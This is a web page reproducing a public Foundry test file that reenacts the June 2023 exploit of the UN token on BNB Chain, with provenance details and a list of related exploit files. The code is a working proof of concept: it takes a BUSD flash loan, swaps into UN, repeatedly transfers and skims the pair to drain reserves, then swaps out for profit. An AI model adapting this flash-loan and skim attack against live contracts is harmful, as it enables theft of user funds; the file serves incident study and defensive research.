Public reproduction file
src/test/2023-06/UN_exp.sol
Public reproduction file for dataset entry UN.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~26K USD$8// Attacker - https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d1313669// Attack contract - https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f910// Attack Tx : https://bscscan.com/tx/0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b12// @Analysis - https://twitter.com/MetaTrustAlert/status/166704187742893260814contract ContractTest is Test {15 IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);17 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);18 IERC20 UN = IERC20(0x1aFA48B74bA7aC0C3C5A2c8B7E24eB71D440846F);19 IUniswapV2Pair Pair = IUniswapV2Pair(0x5F739a4AdE4341D4AEe049E679095BcCbe904Ee1);21 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);23 function setUp() public {24 cheats.createSelectFork("bsc", 28_864_173);25 cheats.label(address(DPPOracle), "DPPOracle");26 cheats.label(address(BUSD), "BUSD");27 cheats.label(address(UN), "UN");28 cheats.label(address(this), "AttackerContract");29 cheats.label(address(Pair), "Pair");30 }32 function testExploit() public {33 emit log_named_decimal_uint(34 "Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()35 );37 // End of preparation. Attack start38 DPPOracle.flashLoan(0, 29_100 * 1e18, address(this), new bytes(1));40 emit log_named_decimal_uint(41 "Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()42 );43 }45 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {46 (uint256 UNReserve, uint256 USDReserve,) = Pair.getReserves();47 uint256 amountIn = BUSD.balanceOf(address(this));48 uint256 amountOut = (9970 * amountIn * UNReserve) / (10_000 * USDReserve + 9970 * amountIn);49 BUSD.transfer(address(Pair), amountIn);50 Pair.swap(amountOut, 0, address(this), new bytes(0));52 UN.transfer(address(Pair), UN.balanceOf(address(this)) * 93 / 100);53 Pair.skim(address(this));54 UN.transfer(address(Pair), UN.balanceOf(address(this)) * 90 / 100);55 Pair.skim(address(this));56 UN.transfer(address(Pair), UN.balanceOf(address(this)) * 80 / 100);57 Pair.skim(address(this));59 (UNReserve, USDReserve,) = Pair.getReserves();60 amountIn = UN.balanceOf(address(this));61 amountOut = (9970 * amountIn * USDReserve) / (10_000 * UNReserve + 9970 * amountIn);62 UN.transfer(address(Pair), amountIn);63 Pair.swap(0, amountOut, address(this), new bytes(0));65 BUSD.transfer(address(DPPOracle), 29_100 * 1e18);66 }67}Analysis
Dataset entry
Public Foundry test for “UN” (2023-06-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
- Attack contract
0x98e241bd3be918e0d927af81b430be00d86b04f9
- Attack Tx
0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b
File record
- Name
- UN
- Path
- src/test/2023-06/UN_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3d10ecd653f2b00a22eff828c77b6ad3fd5c04e6
- Language
- Solidity
- Size
- 68 lines
- Date
- 2023-06-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/UN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3d10ecd653f2b00a22eff828c77b6ad3fd5c04e6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.